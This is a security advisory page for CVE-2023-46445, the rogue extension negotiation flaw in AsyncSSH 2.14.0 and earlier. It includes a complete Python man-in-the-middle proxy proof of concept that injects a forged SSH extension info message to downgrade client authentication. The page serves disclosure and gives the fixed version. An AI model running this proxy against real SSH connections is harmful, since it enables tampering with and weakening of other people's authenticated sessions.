Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1jZmMyLXdyMnYtZ3htNc4AA3BH
AsyncSSH Rogue Extension Negotiation
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
#####################################################################################
## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
## ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##
## ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
#####################################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
# Length of the individual messages
NEW_KEYS_LENGTH = 16
SERVER_EXT_INFO_LENGTH = 676
newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
return newkeys_payload in data
# Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
rogue_ext_info = unhexlify('0000000C060700000000000000000000')
def insert_rogue_ext_info(data):
newkeys_index = data.index(newkeys_payload)
# Insert rogue extension info and remove SSH_MSG_EXT_INFO
return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket, server_socket):
try:
while True:
client_data = client_socket.recv(4096)
if len(client_data) == 0:
break
server_socket.send(client_data)
except ConnectionResetError:
print("[!] Client connection has been reset. Continue closing sockets.")
print("[!] forward_client_to_server thread ran out of data, closing sockets!")
client_socket.close()
server_socket.close()
def forward_server_to_client(client_socket, server_socket):
try:
while True:
server_data = server_socket.recv(4096)
if contains_newkeys(server_data):
print("[+] SSH_MSG_NEWKEYS sent by server identified!")
if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
server_data += server_socket.recv(4096)
print(f"[d] Original server_data before modification: {server_data.hex()}")
server_data = insert_rogue_ext_info(server_data)
print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}")
if len(server_data) == 0:
break
client_socket.send(server_data)
except ConnectionResetError:
print("[!] Target connection has been reset. Continue closing sockets.")
print("[!] forward_server_to_client thread ran out of data, closing sockets!")
client_socket.close()
server_socket.close()
if __name__ == '__main__':
print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mitm_socket.bind((PROXY_IP, PROXY_PORT))
mitm_socket.listen(5)
print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
try:
while True:
client_socket, client_addr = mitm_socket.accept()
print(f"[+] Accepted connection from: {client_addr}")
print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.connect((SERVER_IP, SERVER_PORT))
print("[+] Spawning new forwarding threads to handle client connection.")
Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
except KeyboardInterrupt:
client_socket.close()
server_socket.close()
mitm_socket.close()
Impact
Algorithm downgrade during user authentication.
Permalink: https://github.com/advisories/GHSA-cfc2-wr2v-gxm5JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmMyLXdyMnYtZ3htNc4AA3BH
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 1 year ago
Updated: 11 months ago
CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Percentage: 0.00123
EPSS Percentile: 0.48017
Identifiers: GHSA-cfc2-wr2v-gxm5, CVE-2023-46445
References:
- https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5
- https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e
- https://nvd.nist.gov/vuln/detail/CVE-2023-46445
- https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE/
- https://github.com/advisories/GHSA-cfc2-wr2v-gxm5
- https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst
- https://www.terrapin-attack.com
- http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html
- https://security.netapp.com/advisory/ntap-20231222-0001/
Blast Radius: 15.2
Affected Packages
pypi:asyncssh
Dependent packages: 104Dependent repositories: 743
Downloads: 4,906,645 last month
Affected Version Ranges: < 2.14.1
Fixed in: 2.14.1
All affected versions: 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.9.0, 0.9.1, 0.9.2, 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.3.2, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.6.0, 1.6.1, 1.6.2, 1.7.1, 1.7.2, 1.7.3, 1.8.0, 1.8.1, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.11.1, 1.12.0, 1.12.1, 1.12.2, 1.13.0, 1.13.1, 1.13.2, 1.13.3, 1.14.0, 1.15.0, 1.15.1, 1.16.0, 1.16.1, 1.17.0, 1.17.1, 1.18.0, 2.0.0, 2.0.1, 2.1.0, 2.2.0, 2.2.1, 2.3.0, 2.4.0, 2.4.1, 2.4.2, 2.5.0, 2.6.0, 2.7.0, 2.7.1, 2.7.2, 2.8.0, 2.8.1, 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, 2.13.0, 2.13.1, 2.13.2, 2.14.0
All unaffected versions: 2.14.1, 2.14.2, 2.15.0, 2.16.0, 2.17.0, 2.18.0